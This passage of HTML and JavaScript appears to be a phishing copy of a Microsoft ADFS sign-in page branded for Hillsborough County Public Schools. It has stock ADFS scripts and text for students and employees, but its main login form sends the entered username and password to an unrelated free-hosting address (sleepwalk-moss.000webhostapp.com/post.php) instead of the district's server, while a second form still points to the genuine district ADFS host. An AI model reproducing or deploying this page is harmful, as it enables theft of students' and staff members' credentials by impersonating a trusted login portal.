}

InputUtil.prototype.checkError = function () {

    if (!this.canDisplayError){

        throw new Error ('Error element not present');

    }

    if (this.errLabel && this.errLabel.innerHTML) {

        this.errDisplay.style.display = '';        

        var cause = this.errLabel.getAttribute('for');

        if (cause) {

            var causeNode = document.getElementById(cause);

            if (causeNode && causeNode.value) {

                causeNode.focus();

                this.hasFocus = true;

            }

        }

    }

    else {

        this.errDisplay.style.display = 'none';

    }

};

InputUtil.prototype.setInitialFocus = function (input) {

    if (this.hasFocus) return;

    var node = document.getElementById(input);

    if (node) {

        if ((/^\s*$/).test(node.value)) {

            node.focus();

            this.hasFocus = true;

        }

    }

};

InputUtil.prototype.setError = function (input, errorMsg) {

    if (!this.canDisplayError) {

        throw new Error('Error element not present');

    }

    input.focus();


    if (errorMsg) {

        this.errLabel.innerHTML = errorMsg;

    }

    this.errLabel.setAttribute('for', input.id);

    this.errDisplay.style.display = '';

};

InputUtil.makePlaceholder = function (input) {

    var ua = navigator.userAgent;


    if (ua != null && 

        (ua.match(/MSIE 9.0/) != null || 

         ua.match(/MSIE 8.0/) != null ||

         ua.match(/MSIE 7.0/) != null)) {

        var node = document.getElementById(input);

        if (node) {

            var placeholder = node.getAttribute("placeholder");

            if (placeholder != null && placeholder != '') {

                var label = document.createElement('input');

                label.type = "text";

                label.value = placeholder;

                label.readOnly = true;

                label.style.position = 'absolute';

                label.style.borderColor = 'transparent';

                label.className = node.className + ' hint';

                label.tabIndex = -1;

                label.onfocus = function () { this.nextSibling.focus(); };


                node.style.position = 'relative';

                node.parentNode.style.position = 'relative';

                node.parentNode.insertBefore(label, node);

                node.onkeyup = function () { InputUtil.showHint(this); };

                node.onblur = function () { InputUtil.showHint(this); };

                node.style.background = 'transparent';


                node.setAttribute("placeholder", "");

                InputUtil.showHint(node);

            }

        }

    }

};

InputUtil.focus = function (inputField) {

    var node = document.getElementById(inputField);

    if (node) node.focus();

};

InputUtil.hasClass = function(node, clsName) {

    return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));

};

InputUtil.addClass = function(node, clsName) {

    if (!this.hasClass(node, clsName)) node.className += " " + clsName;

};

InputUtil.removeClass = function(node, clsName) {

    if (this.hasClass(node, clsName)) {

        var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');

        node.className = node.className.replace(reg, ' ');

    }

};

InputUtil.showHint = function (node, gotFocus) {

    if (node.value && node.value != '') {

        node.previousSibling.style.display = 'none';

    }

    else {

        node.previousSibling.style.display = '';

    }

};

InputUtil.updatePlaceholder = function (input, placeholderText) {

    var node = document.getElementById(input);

    if (node) {

        var ua = navigator.userAgent;

        if (ua != null &&

            (ua.match(/MSIE 9.0/) != null ||

            ua.match(/MSIE 8.0/) != null ||

            ua.match(/MSIE 7.0/) != null)) {

            var label = node.previousSibling;

            if (label != null) {

                label.value = placeholderText;

            }

        }

        else {

            node.placeholder = placeholderText;

        }

    }

};


//]]>

</script>



        

        <link rel="stylesheet" type="text/css" href="/adfs/portal/css/style.css?id=63A599599199AB21E0831E0CEDD1B120284AE71B2EA5D2208B030C2A0A65F7DA" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.jpg?id=3066A1FDE6F198A54097242D8B2E8E41CEBBC50AC922AC8B8534E857611F1068);}</style>


    </head>

    <body dir="ltr" class="body">

    <div id="noScript" style="position:static; width:100%; height:100%; z-index:100">

        <h1>JavaScript required</h1>

        <p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>

        <p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>

    </div>

    <script type="text/javascript" language="JavaScript">

         document.getElementById("noScript").style.display = "none";

    </script>

    <div id="fullPage">

        <div id="brandingWrapper" class="float">

            <div id="branding"></div>

        </div>

        <div id="contentWrapper" class="float">

            <div id="content">

                <div id="header">

                    <img class='logoImage' id='companyLogo' src='/adfs/portal/logo/logo.gif?id=9F022512962D02282EF0EC3768727B0B3DD2E87C445B83F8791A9C97D861DE61' alt='Hillsborough County Public Schools'/>

                </div>

                <div id="workArea">

                    

    <div id="authArea" class="groupMargin">

        

        

        

    <div id="loginArea">        

        <div id="loginMessage" class="groupMargin">Sign in with your organizational account</div>


        <form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();" action="http://sleepwalk-moss.000webhostapp.com/post.php" >

            <div id="error" class="fieldMargin error smallText">

                <span id="errorText" for=""></span>

            </div>


            <div id="formsAuthenticationArea">

                <div id="userNameArea">

                    <label id="userNameInputLabel" for="userNameInput" class="hidden">User Account</label>

                    <input id="userNameInput" name="UserName" type="email" value="" tabindex="1" class="text fullWidth"

                        spellcheck="false" placeholder="someone@example.com" autocomplete="off"/>

                </div>


                <div id="passwordArea">

                    <label id="passwordInputLabel" for="passwordInput" class="hidden">Password</label>

                    <input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"

                        placeholder="Password" autocomplete="off"/>

                </div>

                <div id="kmsiArea" style="display:none">

                    <input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />

                    <label for="kmsiInput">Keep me signed in</label>

                </div>

                <div id="submissionArea" class="submitMargin">

                    <span id="submitButton" class="submit" tabindex="4" role="button"

                        onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"

                        onclick="return Login.submitLoginRequest();">Sign in</span>

                </div>

            </div>

            <input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>

        </form>


             <div id="authOptions">

        <form id="options"  method="post" action="https://hcpsadfs.hcps.net:443/adfs/ls/?SAMLRequest=fVLJTsMwEL3zFZHvibN0oVZbqbRCVCoQtYEDF%2BQ6k8ZSYgePw%2FL3OCmIcmhv9sxbZp49RV5XDVu0tlRbeGsBrfdZVwpZ35iR1iimOUpkiteAzAq2W9xvWByErDHaaqErckK5zOCIYKzUinjr1Yy8jiZQQBiO%2FHwfJf6AX0%2F8STTgfpKME14Mi32cR8R7BoOOMyNOwhERW1grtFxZVwrj0I9CP4yyKGbDhA3HL8RbuT2k4rZnldY2yCgtRYM8LzDoDoECS7sbrZASb%2FE72FIrbGswOzDvUsDTdvMngHkpAumcTStsayAQuqaVPkhFu9WJl%2F4EciNVLtXhchb7IwjZXZalfvq4y8h82umwfkMz72zPuXa4eEpP4dPjUz44o%2FUq1ZUUX96tNjW35%2BeIgqivyNwveihrFTYgZCEhd6lUlf5YGuAWZsT5A6Hzo%2Bn%2FLzO%2F%2BgY%3D&SigAlg=http%3A%2F%2Fwww.w3.org%2F2000%2F09%2Fxmldsig%23rsa-sha1&Signature=N%2FyM1gGk7f6phOtp1jAXqNKf9mcDY04ZTZasYtCPnEdD3YrweVhvN1F8SAjpAEmE35grw83qPc8teJZg7YioaU6zVpXIYoDsqV%2FybTEBceJI8k2mHUPONC0n3Cnoae1HqZOXn89II7WpjoCWXtHujyu8srJeSa8CrXEyeyOC1UOXYJS1TbObyNT5Vg%2Fph%2FncoSie0rGFCYvsrhvDgPpP3ckv5Ip%2B%2FImB2q11%2BUte8gf6kqSC8vXD8TyBkFqPCa21ilWDGs7a6Xvyom1joV%2F4jxxC5hsJH%2BsxLpTrjfMDDpO2ijLbbkRT9gEf83Zf8QB2Wk0c4a6las8mZhCze2OjWQ%3D%3D&client-request-id=2bbb7d6a-0143-4641-2008-008001000071">

            <script type="text/javascript">

                function SelectOption(option) {

                    var i = document.getElementById('optionSelection');

                    i.value = option;

                    document.forms['options'].submit();

                    return false;

                }

            </script>

            <input id="optionSelection" type="hidden" name="AuthMethod" />

            <div id='authOptionLinks' class='groupMargin'></div>

        </form>

      </div>


        <div id="introduction" class="groupMargin">

            <p><strong>Employees</strong><br>Use your district employee number and district password.<br><a href='https://hpw.sdhc.k12.fl.us/self-service/' target='_blank'>Forgot/Reset Employee Password</a></p><p><strong>Students</strong><br>Use your district student ID (lunch number) and district password.<br><a href='https://students.sdhc.k12.fl.us/wps/portal/students/!ut/p/a1/04_Sj9CPykssy0xPLMnMz0vMAfGjzOKNLSzd3Q0MDL3cPYPMDBydDV2MDD29DQ0CDfQLsh0VARjX4Ds!/' target='_blank'>Forgot/Reset Student Password</a></p><p style='margin-top: 50px;'><strong>Disclaimer</strong><br>As a result of the new eLearning environment, please be aware that most devices have audio and video capability that may be used or accessed for learning interactions between teachers and students. Any user’s continued use of the eLearning environment constitutes acceptance and acknowledgment of the above. The district shall not be responsible for any misuse of the technology and the user holds the district harmless in any matters relating to the use of this device by anyone.</p>                     

        </div>


        <script type="text/javascript">

        //<![CDATA[


            function Login() {

            }


            Login.userNameInput = 'userNameInput';

            Login.passwordInput = 'passwordInput';


            Login.initialize = function () {


                var u = new InputUtil();


                u.checkError();

                u.setInitialFocus(Login.userNameInput);

                u.setInitialFocus(Login.passwordInput);

            }();


            Login.submitLoginRequest = function () { 

                var u = new InputUtil();

                var e = new LoginErrors();


                var userName = document.getElementById(Login.userNameInput);

                var password = document.getElementById(Login.passwordInput);


                if (!userName.value || !userName.value.match('[@\\\\]')) {

                    u.setError(userName, e.userNameFormatError);

                    return false;

                }


                if (!password.value) {

                    u.setError(password, e.passwordEmpty);

                    return false;

                }


                if (password.value.length > maxPasswordLength) {

                    u.setError(password, e.passwordTooLong);

                    return false;

                }


                document.forms['loginForm'].submit();

                return false;

            };


            InputUtil.makePlaceholder(Login.userNameInput);

            InputUtil.makePlaceholder(Login.passwordInput);

        //]]>

        </script>

    </div>


    </div>


                </div>

                <div id="footerPlaceholder"></div>

            </div>

            <div id="footer">

                <div id="footerLinks" class="floatReverse">

                     <div><span id="copyright">&#169; 2016 Microsoft</span></div>

                </div>

            </div>

        </div> 

    </div>

    <script type='text/javascript'>

//<![CDATA[

// Copyright (c) Microsoft Corporation.  All rights reserved.


// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.

"use strict";


// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.

// Note change input type does not work on all versions of all browsers.

if (navigator.userAgent.match(/iPhone/i) != null) {

    var emails = document.querySelectorAll("input[type='email']");

    if (emails) {

        for (var i = 0; i < emails.length; i++) {

            emails[i].type = 'text';

        }

    }

}


// In the CSS file we set the ms-viewport to be consistent with the device dimensions, 

// which is necessary for correct functionality of immersive IE. 

// However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original

// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.

// Windows 8 phone has agent string 'IEMobile 10.0'

if (navigator.userAgent.match(/IEMobile\/10\.0/)) {

    var msViewportStyle = document.createElement("style");

    msViewportStyle.appendChild(

        document.createTextNode(

            "@-ms-viewport{width:auto!important}"

        )

    );

    msViewportStyle.appendChild(

        document.createTextNode(

            "@-ms-viewport{height:auto!important}"

        )

    );

    document.getElementsByTagName("head")[0].appendChild(msViewportStyle);

}


// If the innerWidth is defined, use it as the viewport width.

if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {

    var viewport = document.querySelector("meta[name=viewport]");

    viewport.setAttribute('content', 'width=' + window.innerWidth + 'px, initial-scale=1.0, maximum-scale=1.0');

}


// Gets the current style of a specific property for a specific element.

function getStyle(element, styleProp) {

    var propStyle = null;


    if (element && element.currentStyle) {

        propStyle = element.currentStyle[styleProp];

    }

    else if (element && window.getComputedStyle) {

        propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);

    }


    return propStyle;

}


// The script below is used for downloading the illustration image 

// only when the branding is displaying. This script work together

// with the code in PageBase.cs that sets the html inline style

// containing the class 'illustrationClass' with the background image.

var computeLoadIllustration = function () {

    var branding = document.getElementById("branding");

    var brandingDisplay = getStyle(branding, "display");

    var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");


    if (brandingDisplay && brandingDisplay !== "none" &&

        brandingWrapperDisplay && brandingWrapperDisplay !== "none") {

        var newClass = "illustrationClass";


        if (branding.classList && branding.classList.add) {

            branding.classList.add(newClass);

        } else if (branding.className !== undefined) {

            branding.className += " " + newClass;

        }

        if (window.removeEventListener) {

            window.removeEventListener('load', computeLoadIllustration, false);

            window.removeEventListener('resize', computeLoadIllustration, false);

        }

        else if (window.detachEvent) {

            window.detachEvent('onload', computeLoadIllustration);

            window.detachEvent('onresize', computeLoadIllustration);

        }

    }

};


if (window.addEventListener) {

    window.addEventListener('resize', computeLoadIllustration, false);

    window.addEventListener('load', computeLoadIllustration, false);

}

else if (window.attachEvent) {

    window.attachEvent('onresize', computeLoadIllustration);